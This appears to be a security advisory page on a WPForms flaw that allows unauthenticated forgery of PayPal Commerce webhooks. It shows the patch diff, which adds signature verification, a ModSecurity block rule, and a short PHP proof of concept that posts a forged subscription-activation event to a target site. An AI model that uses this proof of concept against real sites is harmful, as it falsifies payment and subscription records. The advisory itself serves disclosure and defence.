+		foreach ( $plugins['all'] as $file => $plugin_data ) {
+			if ( ! is_array( $plugin_data ) ) {
+				continue;
+			}
+
+			if ( $this->is_wpforms_plugin( (string) $file, $plugin_data ) ) {
+				$wpforms_plugins[ $file ] = $plugin_data;
+			}
+		}
+
+		if ( ! empty( $wpforms_plugins ) ) {
+			$plugins[ self::STATUS_KEY ] = $wpforms_plugins;
+		}
+
+		return $plugins;
+	}
+
+	/**
+	 * Provide the human-readable label for the WPForms category tab.
+	 *
+	 * The list table escapes the returned string and appends the count
+	 * span, so the value must be plain text without HTML.
+	 *
+	 * @since 1.10.0.5
+	 *
+	 * @param string|mixed $text  Status text. Default empty string.
+	 * @param int|mixed    $count Number of plugins in the category.
+	 * @param string|mixed $type  The status slug being filtered.
+	 *
+	 * @return string
+	 * @noinspection PhpUnusedParameterInspection
+	 */
+	public function category_label( $text, $count, $type ): string { // phpcs:ignore Generic.CodeAnalysis.UnusedFunctionParameter.FoundAfterLastUsed
+
+		if ( $type !== self::STATUS_KEY ) {
+			return is_string( $text ) ? $text : '';
+		}
+
+		// "WPForms" is a brand name, but keep the call translatable so locales
+		// can adjust casing if needed. The %s count is appended by core.
+		return __( 'WPForms', 'wpforms-lite' );
+	}
+
+	/**
+	 * Determine whether a plugin should be listed under the WPForms category.
+	 *
+	 * The default rule matches by folder slug: the main plugin (`wpforms`)
+	 * and any `wpforms-*` addon. Third parties can override via the
+	 * exposed filter without touching this class.
+	 *
+	 * @since 1.10.0.5
+	 *
+	 * @param string $file        Plugin file path (e.g. `wpforms-stripe/wpforms-stripe.php`).
+	 * @param array  $plugin_data Plugin metadata as returned by `get_plugins()`.
+	 *
+	 * @return bool
+	 */
+	private function is_wpforms_plugin( string $file, array $plugin_data ): bool {
+
+		$slug    = explode( '/', $file )[0];
+		$is_ours = $slug === self::SLUG_PREFIX || strpos( $slug, self::SLUG_PREFIX . '-' ) === 0;
+
+		/**
+		 * Filters whether a plugin should be listed under the WPForms category tab.
+		 *
+		 * @since 1.10.0.5
+		 *
+		 * @param bool   $is_ours     Whether the plugin is recognised as a WPForms plugin.
+		 * @param string $file        Plugin file path (e.g. `wpforms-stripe/wpforms-stripe.php`).
+		 * @param array  $plugin_data Plugin metadata as returned by `get_plugins()`.
+		 *
+		 * @return bool Whether the plugin should appear under the WPForms tab.
+		 */
+		return (bool) apply_filters( 'wpforms_admin_plugins_category_is_wpforms_plugin', $is_ours, $file, $plugin_data ); // phpcs:ignore WPForms.PHP.ValidateHooks.InvalidHookName
+	}
+}
--- a/wpforms-lite/src/Admin/Settings/Captcha/ActiveLayerCallout.php
+++ b/wpforms-lite/src/Admin/Settings/Captcha/ActiveLayerCallout.php
@@ -0,0 +1,130 @@
+<?php
+
+namespace WPFormsAdminSettingsCaptcha;
+
+use WPFormsEducationActiveLayerHelper as ActiveLayer;
+
+/**
+ * Horizontal "Better Way to Stop Spam" notice on Settings → CAPTCHA.
+ *
+ * @since 1.10.0.5
+ */
+class ActiveLayerCallout {
+
+	const VIEW = 'captcha';
+
+	/**
+	 * Register hooks.
+	 *
+	 * @since 1.10.0.5
+	 */
+	public function hooks() {
+
+		add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_assets' ] );
+		add_action( 'wpforms_admin_settings_after', [ $this, 'render' ], 5, 1 );
+	}
+
+	/**
+	 * Are we on the CAPTCHA settings view?
+	 *
+	 * @since 1.10.0.5
+	 *
+	 * @return bool
+	 */
+	private function is_captcha_settings_screen(): bool {
+
+		if ( ! is_admin() || ! function_exists( 'get_current_screen' ) ) {
+			return false;
+		}
+
+		$screen = get_current_screen();
+
+		if ( ! $screen || $screen->id !== 'wpforms_page_wpforms-settings' ) {
+			return false;
+		}
+
+		// phpcs:ignore WordPress.Security.NonceVerification.Recommended
+		$view = isset( $_GET['view'] ) ? sanitize_key( wp_unslash( $_GET['view'] ) ) : 'general';
+
+		return $view === self::VIEW;
+	}
+
+	/**
+	 * Enqueue stylesheet only on the CAPTCHA settings view.
+	 *
+	 * @since 1.10.0.5
+	 */
+	public function enqueue_assets() {
+
+		if ( ! $this->is_captcha_settings_screen() ) {
+			return;
+		}
+
+		$min = wpforms_get_min_suffix();
+
+		wp_enqueue_style(
+			'wpforms-activelayer-callout',
+			WPFORMS_PLUGIN_URL . "assets/css/admin/activelayer-callout{$min}.css",
+			[],
+			WPFORMS_VERSION
+		);
+	}
+
+	/**
+	 * Render a horizontal notice above the CAPTCHA form.
+	 *
+	 * @since 1.10.0.5
+	 *
+	 * @param string $view Current settings view slug.
+	 */
+	public function render( $view ) {
+
+		if ( $view !== self::VIEW ) {
+			return;
+		}
+
+		$modal       = ActiveLayer::get_modal_data();
+		$attrs_html  = '';
+		$cta_classes = 'wpforms-btn wpforms-btn-md wpforms-btn-orange wpforms-activelayer-callout__cta';
+		$action      = $modal['attrs']['data-action'] ?? '';
+
+		if ( $action === 'install' ) {
+			$modal['link_text'] = __( 'Install ActiveLayer', 'wpforms-lite' );
+		} elseif ( $action === 'activate' ) {
+			$modal['link_text'] = __( 'Activate ActiveLayer', 'wpforms-lite' );
+		}
+
+		if ( ! empty( $modal['class'] ) ) {
+			$cta_classes .= ' ' . $modal['class'];
+		}
+
+		if ( ! empty( $modal['attrs'] ) ) {
+			foreach ( $modal['attrs'] as $key => $value ) {
+				$attrs_html .= sprintf( ' %s="%s"', esc_attr( $key ), esc_attr( $value ) );
+			}
+		}
+		?>
+		<div class="wpforms-activelayer-callout" role="region" aria-labelledby="wpforms-activelayer-callout-heading">
+
+			<div class="wpforms-activelayer-callout__icon">
+				<img src="<?php echo esc_url( WPFORMS_PLUGIN_URL . 'assets/images/anti-spam/activelayer.svg' ); ?>" alt="">
+			</div>
+
+			<div class="wpforms-activelayer-callout__body">
+				<p class="wpforms-activelayer-callout__eyebrow"><?php esc_html_e( 'Better Way to Stop Spam', 'wpforms-lite' ); ?></p>
+				<h3 id="wpforms-activelayer-callout-heading" class="wpforms-activelayer-callout__heading">
+					<?php esc_html_e( 'Prefer no CAPTCHAs?', 'wpforms-lite' ); ?>
+				</h3>
+				<p class="wpforms-activelayer-callout__text">
+					<?php esc_html_e( 'CAPTCHAs can reduce form completions by up to 40%. ActiveLayer catches bots invisibly, without asking your visitors to prove they're human. Free tier available.', 'wpforms-lite' ); ?>
+				</p>
+				<a href="<?php echo esc_url( $modal['link'] ); ?>"
+					class="<?php echo esc_attr( $cta_classes ); ?>"
+					<?php echo $attrs_html; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>>
+					<?php echo esc_html( $modal['link_text'] ); ?>
+				</a>
+			</div>
+		</div>
+		<?php
+	}
+}
--- a/wpforms-lite/src/Admin/Settings/Captcha/Page.php
+++ b/wpforms-lite/src/Admin/Settings/Captcha/Page.php
@@ -104,6 +104,8 @@
 		add_action( 'wpforms_settings_updated', [ $this, 'updated' ] );
 		add_action( 'wpforms_settings_enqueue', [ $this, 'enqueues' ] );
 		add_action( 'admin_enqueue_scripts', [ $this, 'apply_noconflict' ], 9999 );
+
+		( new ActiveLayerCallout() )->hooks();
 	}

 	/**
--- a/wpforms-lite/src/Education/ActiveLayer/Helper.php
+++ b/wpforms-lite/src/Education/ActiveLayer/Helper.php
@@ -0,0 +1,208 @@
+<?php
+
+namespace WPFormsEducationActiveLayer;
+
+/**
+ * ActiveLayer plugin state and CTA-data helper.
+ *
+ * Single source of truth for ActiveLayer education surfaces: detects
+ * install/active state, exposes the WordPress.org install zip URL, the
+ * post-install dashboard URL, and the data-* attribute payload that the
+ * existing Education modal JS understands.
+ *
+ * @since 1.10.0.5
+ */
+class Helper {
+
+	/**
+	 * WordPress.org plugin slug. Matches the folder name created on install.
+	 *
+	 * @since 1.10.0.5
+	 */
+	const SLUG = 'activelayer-anti-spam-spam-protection-for-forms-comments';
+
+	/**
+	 * Canonical WordPress.org zip download URL.
+	 *
+	 * @since 1.10.0.5
+	 */
+	const INSTALL_ZIP_URL = 'https://downloads.wordpress.org/plugin/activelayer-anti-spam-spam-protection-for-forms-comments.zip';
+
+	/**
+	 * Admin page slug ActiveLayer registers as its top-level dashboard menu.
+	 *
+	 * @since 1.10.0.5
+	 */
+	const DASHBOARD_PAGE_SLUG = 'activelayer-dashboard';
+
+	/**
+	 * Cached plugin basename ('folder/main-file.php') once resolved.
+	 *
+	 * @since 1.10.0.5
+	 *
+	 * @var string|null
+	 */
+	private static $basename = null;
+
+	/**
+	 * Whether ActiveLayer is present in the plugins directory.
+	 *
+	 * @since 1.10.0.5
+	 *
+	 * @return bool
+	 */
+	public static function is_installed(): bool {
+
+		return self::get_basename() !== '';
+	}
+
+	/**
+	 * Whether ActiveLayer is currently active.
+	 *
+	 * @since 1.10.0.5
+	 *
+	 * @return bool
+	 */
+	public static function is_activated(): bool {
+
+		$basename = self::get_basename();
+
+		if ( $basename === '' ) {
+			return false;
+		}
+
+		if ( ! function_exists( 'is_plugin_active' ) ) {
+			require_once ABSPATH . 'wp-admin/includes/plugin.php';
+		}
+
+		return is_plugin_active( $basename );
+	}
+
+	/**
+	 * Resolve ActiveLayer's plugin basename ('slug/main-file.php') by
+	 * scanning get_plugins() for an entry whose folder matches our slug.
+	 * The main file inside the folder may not match the slug — never
+	 * hard-code it.
+	 *
+	 * @since 1.10.0.5
+	 *
+	 * @return string Plugin basename, or empty string if not installed.
+	 */
+	public static function get_basename(): string {
+
+		if ( self::$basename !== null ) {
+			return self::$basename;
+		}
+
+		if ( ! function_exists( 'get_plugins' ) ) {
+			require_once ABSPATH . 'wp-admin/includes/plugin.php';
+		}
+
+		$prefix = self::SLUG . '/';
+
+		foreach ( array_keys( get_plugins() ) as $candidate ) {
+			if ( strpos( $candidate, $prefix ) === 0 ) {
+				self::$basename = $candidate;
+
+				return self::$basename;
+			}
+		}
+
+		self::$basename = '';
+
+		return self::$basename;
+	}
+
+	/**
+	 * WordPress.org zip URL — used as the `plugin` argument the
+	 * `wpforms_install_addon` AJAX handler passes to PluginSilentUpgrader.
+	 *
+	 * @since 1.10.0.5
+	 *
+	 * @return string
+	 */
+	public static function get_install_zip_url(): string {
+
+		return self::INSTALL_ZIP_URL;
+	}
+
+	/**
+	 * Admin URL of the ActiveLayer dashboard menu page. Callers should only
+	 * render this link when `is_activated()` is true; we don't validate that
+	 * the page actually exists.
+	 *
+	 * @since 1.10.0.5
+	 *
+	 * @return string
+	 */
+	public static function get_dashboard_url(): string {
+
+		return admin_url( 'admin.php?page=' . self::DASHBOARD_PAGE_SLUG );
+	}
+
+	/**
+	 * Build the ($link, $link_text, $class, $attrs) payload consumed by
+	 * any surface that wants to show the ActiveLayer CTA.
+	 *
+	 * Three discrete states:
+	 *   - Not installed → 'install' modal action, points at the WP.org zip.
+	 *   - Installed but inactive → 'activate' modal action, points at the basename.
+	 *   - Active → plain link to the ActiveLayer dashboard, no modal.
+	 *
+	 * The 'attrs' array is rendered as data-* attributes by callers; the
+	 * keys already include the `data-` prefix so the template can iterate
+	 * them blindly.
+	 *
+	 * @since 1.10.0.5
+	 *
+	 * @return array{link:string,link_text:string,class:string,attrs:array<string,string>}
+	 */
+	public static function get_modal_data(): array {
+
+		// Installed AND active → plain dashboard link, no modal.
+		if ( self::is_activated() ) {
+			return [
+				'link'      => self::get_dashboard_url(),
+				'link_text' => __( 'Dashboard', 'wpforms-lite' ),
+				'class'     => '',
+				'attrs'     => [],
+			];
+		}
+
+		$nonce = wp_create_nonce( 'wpforms-admin' );
+
+		// Installed but inactive → activate modal.
+		// JS reads $button.data('path') → attribute MUST be `data-path`.
+		// Verified against `activateAddon()` in
+		// `assets/js/admin/education/core.js` — reads $button.data('path').
+		if ( self::is_installed() ) {
+			return [
+				'link'      => '#',
+				'link_text' => __( 'Get Started →', 'wpforms-lite' ),
+				'class'     => 'education-modal',
+				'attrs'     => [
+					'data-action' => 'activate',
+					'data-name'   => 'ActiveLayer plugin',
+					'data-path'   => self::get_basename(),
+					'data-type'   => 'plugin',
+					'data-nonce'  => $nonce,
+				],
+			];
+		}
+
+		// Not installed → install modal pointing at the WP.org zip.
+		// JS reads $button.data('url') → attribute MUST be `data-url`.
+		return [
+			'link'      => '#',
+			'link_text' => __( 'Get Started →', 'wpforms-lite' ),
+			'class'     => 'education-modal',
+			'attrs'     => [
+				'data-action' => 'install',
+				'data-name'   => 'ActiveLayer plugin',
+				'data-url'    => self::get_install_zip_url(),
+				'data-type'   => 'plugin',
+				'data-nonce'  => $nonce,
+			],
+		];
+	}
+}
--- a/wpforms-lite/src/Education/ActiveLayer/InstallTracker.php
+++ b/wpforms-lite/src/Education/ActiveLayer/InstallTracker.php
@@ -0,0 +1,87 @@
+<?php
+
+namespace WPFormsEducationActiveLayer;
+
+/**
+ * Records the install/activate source on first-time activation of the
+ * ActiveLayer plugin via WPForms's product education flows. Mirrors the
+ * `<plugin_name>_source` + `<plugin_name>_date` convention used for the
+ * other partner plugins (WPConsent, UncannyAutomator, Duplicator,
+ * SugarCalendar) — see
+ * WPFormsIntegrationsUsageTrackingUsageTracking::add_promotion_plugin_data()
+ * for the corresponding reader.
+ *
+ * The two options are picked up by the WPForms Usage Tracking opt-in
+ * payload (weekly POST to wpformsusage.com/v1/track) so installs
+ * originating from the Form Builder card / CAPTCHA notice / first-spam
+ * admin notice can be attributed.
+ *
+ * @since 1.10.0.5
+ */
+class InstallTracker {
+
+	/**
+	 * Option key — install source ('WPForms' or 'WPForms Lite').
+	 *
+	 * @since 1.10.0.5
+	 */
+	const SOURCE_OPTION = 'activelayer_source';
+
+	/**
+	 * Option key — unix timestamp of the first activation through WPForms.
+	 *
+	 * @since 1.10.0.5
+	 */
+	const DATE_OPTION = 'activelayer_date';
+
+	/**
+	 * Init.
+	 *
+	 * @since 1.10.0.5
+	 */
+	public function init() {
+
+		$this->hooks();
+	}
+
+	/**
+	 * Register hooks.
+	 *
+	 * @since 1.10.0.5
+	 */
+	private function hooks() {
+
+		add_action( 'wpforms_plugin_activated', [ $this, 'maybe_record_source' ] );
+	}
+
+	/**
+	 * Write `activelayer_source` and `activelayer_date` when the activated
+	 * plugin is ActiveLayer. Idempotent — once a source is recorded, later
+	 * activations through WPForms do NOT overwrite it.
+	 *
+	 * @since 1.10.0.5
+	 *
+	 * @param string $plugin_basename Path to the activated plugin file relative to the plugins directory.
+	 */
+	public function maybe_record_source( $plugin_basename ) {
+
+		if ( ! is_string( $plugin_basename ) || $plugin_basename === '' ) {
+			return;
+		}
+
+		// Match anything under our slug folder; the main-file basename can vary.
+		if ( strpos( $plugin_basename, Helper::SLUG . '/' ) !== 0 ) {
+			return;
+		}
+
+		// Don't overwrite a previously recorded source.
+		if ( get_option( self::SOURCE_OPTION ) ) {
+			return;
+		}
+
+		$source = wpforms()->is_pro() ? 'WPForms' : 'WPForms Lite';
+
+		update_option( self::SOURCE_OPTION, $source, false );
+		update_option( self::DATE_OPTION, time(), false );
+	}
+}
--- a/wpforms-lite/src/Forms/Fields/Phone/Field.php
+++ b/wpforms-lite/src/Forms/Fields/Phone/Field.php
@@ -19,7 +19,7 @@
 	 *
 	 * @since 1.9.4
 	 */
-	public const INTL_VERSION = '25.11.3';
+	public const INTL_VERSION = '28.0.4';

 	/**
 	 * Primary class constructor.
--- a/wpforms-lite/src/Integrations/Abilities/Abilities.php
+++ b/wpforms-lite/src/Integrations/Abilities/Abilities.php
@@ -155,6 +155,7 @@
 									'status'   => [ 'type' => 'string' ],
 									'created'  => [ 'type' => 'string' ],
 									'modified' => [ 'type' => 'string' ],
+									'author'   => [ 'type' => 'integer' ],
 								],
 							],
 						],
@@ -216,6 +217,9 @@
 						'id'       => [ 'type' => 'integer' ],
 						'title'    => [ 'type' => 'string' ],
 						'status'   => [ 'type' => 'string' ],
+						'created'  => [ 'type' => 'string' ],
+						'modified' => [ 'type' => 'string' ],
+						'author'   => [ 'type' => 'integer' ],
 						'settings' => [ 'type' => 'object' ],
 						'fields'   => [ 'type' => 'array' ],
 					],
@@ -307,8 +311,9 @@
 		$status = sanitize_text_field( $args['status'] ?? 'publish' );

 		// Get total count efficiently using the cached WordPress function.
+		// wp_count_posts() returns string counts; cast to int to match the integer output schema.
 		$counts = wp_count_posts( 'wpforms' );
-		$total  = $counts->{$status} ?? 0;
+		$total  = (int) ( $counts->{$status} ?? 0 );

 		// Get paginated forms with proper WordPress pagination.
 		$query_args = [
--- a/wpforms-lite/src/Integrations/PayPalCommerce/Api/WebhookRoute.php
+++ b/wpforms-lite/src/Integrations/PayPalCommerce/Api/WebhookRoute.php
@@ -6,8 +6,8 @@
 use RuntimeException;
 use BadMethodCallException;
 use WPFormsIntegrationsPayPalCommerceApiWebhooksExceptionsAmountMismatchException;
-use WPFormsIntegrationsPayPalCommerceHelpers;
 use WPFormsIntegrationsPayPalCommerceConnection;
+use WPFormsIntegrationsPayPalCommerceHelpers;
 use WPFormsIntegrationsPayPalCommerceWebhooksHealthCheck;

 /**
@@ -181,6 +181,11 @@
 				throw new RuntimeException( 'Empty webhook payload.' );
 			}

+			// Verify the webhook signature before processing.
+			if ( ! $this->verify_webhook_signature( $this->payload ) ) {
+				throw new RuntimeException( 'Webhook signature verification failed.' );
+			}
+
 			$event = json_decode( $this->payload, false );

 			$event_whitelist = self::get_webhooks_events_list();
@@ -377,4 +382,79 @@

 		return $this->get_webhook_id() !== '';
 	}
+
+	/**
+	 * Verify webhook signature.
+	 *
+	 * Routes to the appropriate verification method based on connection type:
+	 * - Legacy (first-party) connections verify directly with PayPal API via the addon's WebhooksManager.
+	 * - Third-party connections verify the HMAC signature added by the Product API.
+	 *
+	 * @since 1.10.0.5
+	 *
+	 * @param string $payload Raw webhook payload body.
+	 *
+	 * @return bool True if signature is valid, false otherwise.
+	 */
+	private function verify_webhook_signature( string $payload ): bool {
+
+		if ( Helpers::is_legacy() ) {
+			// phpcs:ignore WPForms.PHP.BackSlash.UseShortSyntax
+			if ( ! method_exists( WPFormsPaypalCommerceApiWebhooksManager::class, 'verify_webhook_signature' ) ) {
+				return false;
+			}
+
+			// phpcs:ignore WPForms.PHP.BackSlash.UseShortSyntax
+			return ( new WPFormsPaypalCommerceApiWebhooksManager() )->verify_webhook_signature( $payload, $this->get_webhook_id() );
+		}
+
+		return $this->verify_product_api_webhook_signature( $payload );
+	}
+
+	/**
+	 * Verify the HMAC-SHA256 signature added by the Product API when forwarding webhooks.
+	 *
+	 * Checks the X-WPForms-Signature and X-WPForms-Timestamp headers against
+	 * the raw payload body using the shared secret established during onboarding.
+	 * Rejects payloads older than 5 minutes to prevent replay attacks.
+	 *
+	 * @since 1.10.0.5
+	 *
+	 * @param string $payload Raw webhook payload body.
+	 *
+	 * @return bool True if signature is valid, false otherwise.
+	 */
+	private function verify_product_api_webhook_signature( string $payload ): bool {
+
+		$signature = isset( $_SERVER['HTTP_X_WPFORMS_SIGNATURE'] ) ? sanitize_text_field( wp_unslash( $_SERVER['HTTP_X_WPFORMS_SIGNATURE'] ) ) : '';
+		$timestamp = isset( $_SERVER['HTTP_X_WPFORMS_TIMESTAMP'] ) ? sanitize_text_field( wp_unslash( $_SERVER['HTTP_X_WPFORMS_TIMESTAMP'] ) ) : '';
+
+		if ( empty( $signature ) || empty( $timestamp ) ) {
+			return false;
+		}
+
+		/**
+		 * Filter the maximum age (in seconds) for webhook signature timestamps.
+		 *
+		 * @since 1.10.0.5
+		 *
+		 * @param int $max_age Maximum allowed age in seconds. Default 300 (5 minutes).
+		 */
+		$max_age = (int) apply_filters( 'wpforms_integrations_pay_pal_commerce_api_webhook_route_signature_max_age', 5 * MINUTE_IN_SECONDS );
+
+		if ( abs( time() - (int) $timestamp ) > $max_age ) {
+			return false;
+		}
+
+		$connection = Connection::get();
+
+		if ( ! $connection ) {
+			return false;
+		}
+
+		$secret   = $connection->get_secret();
+		$expected = hash_hmac( 'sha256', $timestamp . '.' . $payload, $secret );
+
+		return hash_equals( $expected, $signature );
+	}
 }
--- a/wpforms-lite/src/Integrations/UsageTracking/UsageTracking.php
+++ b/wpforms-lite/src/Integrations/UsageTracking/UsageTracking.php
@@ -247,6 +247,7 @@
 			'sugar-calendar',
 			'duplicator',
 			'uncannyautomator',
+			'activelayer',
 		];

 		foreach ( $plugins as $plugin ) {
--- a/wpforms-lite/src/Loader.php
+++ b/wpforms-lite/src/Loader.php
@@ -316,6 +316,11 @@
 				'hook' => 'admin_init',
 			],
 			[
+				'name' => 'AdminPluginsCategory',
+				'id'   => 'plugins_category',
+				'hook' => 'admin_init',
+			],
+			[
 				'name' => 'AdminSplashSplashScreen',
 				'id'   => 'splash_screen',
 				'hook' => 'admin_init',
@@ -904,6 +909,10 @@
 				'name'     => 'AdminEducationPointersPayment',
 				'hook'     => 'admin_init',
 				'priority' => 20,
+			],
+			[
+				'name' => 'EducationActiveLayerInstallTracker',
+				'id'   => 'activelayer_install_tracker',
 			]
 		);

--- a/wpforms-lite/src/Requirements/Requirements.php
+++ b/wpforms-lite/src/Requirements/Requirements.php
@@ -275,6 +275,9 @@
 		'wpforms-hubspot/wpforms-hubspot.php'                           => [
 			self::LICENSE => self::TOP,
 		],
+		'wpforms-klaviyo/wpforms-klaviyo.php'                           => [
+			self::LICENSE => self::PLUS_PRO_AND_TOP,
+		],
 		'wpforms-lead-forms/wpforms-lead-forms.php'                     => [],
 		'wpforms-mailchimp/wpforms-mailchimp.php'                       => [
 			self::EXT     => 'curl',
--- a/wpforms-lite/templates/builder/antispam/also-available.php
+++ b/wpforms-lite/templates/builder/antispam/also-available.php
@@ -23,7 +23,13 @@
 		$class = ! empty( $block['class'] ) ? $block['class'] : '';
 		?>

-		<div class="wpforms-panel-content-also-available-item <?php echo sanitize_html_class( "wpforms-panel-content-also-available-item-{$slug}" ); ?>">
+		<div class="wpforms-panel-content-also-available-item <?php echo sanitize_html_class( "wpforms-panel-content-also-available-item-{$slug}" ); ?><?php echo ! empty( $block['badge'] ) ? ' wpforms-panel-content-also-available-item-has-badge' : ''; ?>">
+			<?php if ( ! empty( $block['badge'] ) ) : ?>
+				<span class="wpforms-badge wpforms-badge-sm wpforms-badge-rounded wpforms-badge-green wpforms-panel-content-also-available-item-badge">
+					<svg width="11" height="11" viewBox="0 0 12 12" fill="currentColor" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M6 0.75l1.545 3.13 3.455 0.503-2.5 2.437 0.59 3.43L6 8.63l-3.09 1.624 0.59-3.43L1 4.383l3.455-0.503L6 0.75z"/></svg>
+					<?php echo esc_html( $block['badge'] ); ?>
+				</span>
+			<?php endif; ?>
 			<div class='wpforms-panel-content-also-available-item-logo'>
 				<img src="<?php echo esc_url( $block['logo'] ); ?>" alt="<?php echo esc_attr( $block['title'] ); ?>">
 			</div>
@@ -31,10 +37,26 @@
 			<div class='wpforms-panel-content-also-available-item-info'>
 				<h3><?php echo esc_html( $block['title'] ); ?></h3>
 				<p><?php echo esc_html( $block['description'] ); ?></p>
-				<a class="<?php echo sanitize_html_class( $class ); ?>"
-				   href="<?php echo esc_url( $block['link'] ); ?>"
-				   target="_blank"
-				   rel="noopener noreferrer">
+				<?php
+				$attrs_html = '';
+
+				if ( ! empty( $block['attrs'] ) && is_array( $block['attrs'] ) ) {
+					foreach ( $block['attrs'] as $attr_key => $attr_value ) {
+						$attrs_html .= sprintf(
+							' %s="%s"',
+							esc_attr( $attr_key ),
+							esc_attr( $attr_value )
+						);
+					}
+				}
+
+				$is_external = empty( $block['attrs']['data-action'] )
+					&& $block['link'] !== '#'
+					&& strpos( $block['link'], admin_url() ) !== 0;
+				$rel_attr    = $is_external ? ' target="_blank" rel="noopener noreferrer"' : '';
+				?>
+				<a class="<?php echo esc_attr( trim( $class ) ); ?>"
+					href="<?php echo esc_url( $block['link'] ); ?>"<?php echo $rel_attr; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?><?php echo $attrs_html; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>>
 					<?php echo esc_html( $block['link_text'] ); ?>
 				</a>
 			</div>
--- a/wpforms-lite/vendor/composer/installed.php
+++ b/wpforms-lite/vendor/composer/installed.php
@@ -3,7 +3,7 @@
         'name' => 'awesomemotive/wpforms',
         'pretty_version' => 'dev-master',
         'version' => 'dev-master',
-        'reference' => '073cfaf16d43ea4e9aca9064adf7c5118ce1d0b0',
+        'reference' => 'edc1904688fe6056e807feaa0699929ede5d01da',
         'type' => 'library',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -49,7 +49,7 @@
         'awesomemotive/wpforms' => array(
             'pretty_version' => 'dev-master',
             'version' => 'dev-master',
-            'reference' => '073cfaf16d43ea4e9aca9064adf7c5118ce1d0b0',
+            'reference' => 'edc1904688fe6056e807feaa0699929ede5d01da',
             'type' => 'library',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),
@@ -103,7 +103,7 @@
         'roave/security-advisories' => array(
             'pretty_version' => 'dev-latest',
             'version' => 'dev-latest',
-            'reference' => 'c5e319c36bb8e95f3662f05e46f16e89c44da480',
+            'reference' => '16706d82a6f250e56047a9e95791a92a8a29f791',
             'type' => 'metapackage',
             'install_path' => null,
             'aliases' => array(
@@ -157,9 +157,9 @@
             'dev_requirement' => false,
         ),
         'symfony/polyfill-php80' => array(
-            'pretty_version' => 'v1.33.0',
-            'version' => '1.33.0.0',
-            'reference' => '0cc9dd0f17f61d8131e7df6b84bd344899fe2608',
+            'pretty_version' => 'v1.37.0',
+            'version' => '1.37.0.0',
+            'reference' => 'dfb55726c3a76ea3b6459fcfda1ec2d80a682411',
             'type' => 'library',
             'install_path' => __DIR__ . '/../symfony/polyfill-php80',
             'aliases' => array(),
--- a/wpforms-lite/vendor/symfony/polyfill-php80/Php80.php
+++ b/wpforms-lite/vendor/symfony/polyfill-php80/Php80.php
@@ -60,7 +60,7 @@
     public static function get_resource_id($res): int
     {
         if (!is_resource($res) && null === @get_resource_type($res)) {
-            throw new TypeError(sprintf('Argument 1 passed to get_resource_id() must be of the type resource, %s given', get_debug_type($res)));
+            throw new TypeError(sprintf('Argument 1 passed to get_resource_id() must be of the type resource, %s given', get_debug_type($res)));
         }

         return (int) $res;
--- a/wpforms-lite/wpforms.php
+++ b/wpforms-lite/wpforms.php
@@ -7,7 +7,7 @@
  * Requires PHP:      7.2
  * Author:            WPForms
  * Author URI:        https://wpforms.com
- * Version:           1.10.0.4
+ * Version:           1.10.0.5
  * License:           GPL v2 or later
  * License URI:       https://www.gnu.org/licenses/gpl-2.0.html
  * Text Domain:       wpforms-lite
@@ -59,7 +59,7 @@
 	 *
 	 * @since 1.0.0
 	 */
-	define( 'WPFORMS_VERSION', '1.10.0.4' ); // NOSONAR.
+	define( 'WPFORMS_VERSION', '1.10.0.5' ); // NOSONAR.
 }

 if ( ! defined( 'WPFORMS_PLUGIN_DIR' ) ) {

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-7792
# This rule blocks forged PayPal Commerce webhook events targeting WPForms
# by matching the specific AJAX action and event_type patterns used in the exploit.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20267792,phase:2,deny,status:403,chain,msg:'CVE-2026-7792 WPForms PayPal Webhook Forgery',severity:'CRITICAL',tag:'CVE-2026-7792'"
  SecRule ARGS_POST:action "@streq wpforms_paypal_commerce_webhook" "chain"
    SecRule ARGS_POST:event_type "@rx ^BILLING.SUBSCRIPTION.(ACTIVATED|CANCELLED|SUSPENDED)$" 
      "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-7792 - WPForms <= 1.10.0.4 - Unauthenticated PayPal Commerce Webhook Data Forgery

$target_url = 'https://example.com/wp-admin/admin-ajax.php';
$subscription_id = 'I-XXXX1234567890'; // Known valid PayPal subscription ID

$payload = json_encode([
    'event_type' => 'BILLING.SUBSCRIPTION.ACTIVATED',
    'resource' => [
        'id' => $subscription_id,
        'status' => 'ACTIVE',
        'billing_agreement_id' => $subscription_id
    ]
]);

$ch = curl_init($target_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'Content-Type: application/json',
    'Content-Length: ' . strlen($payload)
]);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "HTTP Response Code: " . $http_code . "n";
echo "Response Body: " . $response . "n";
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

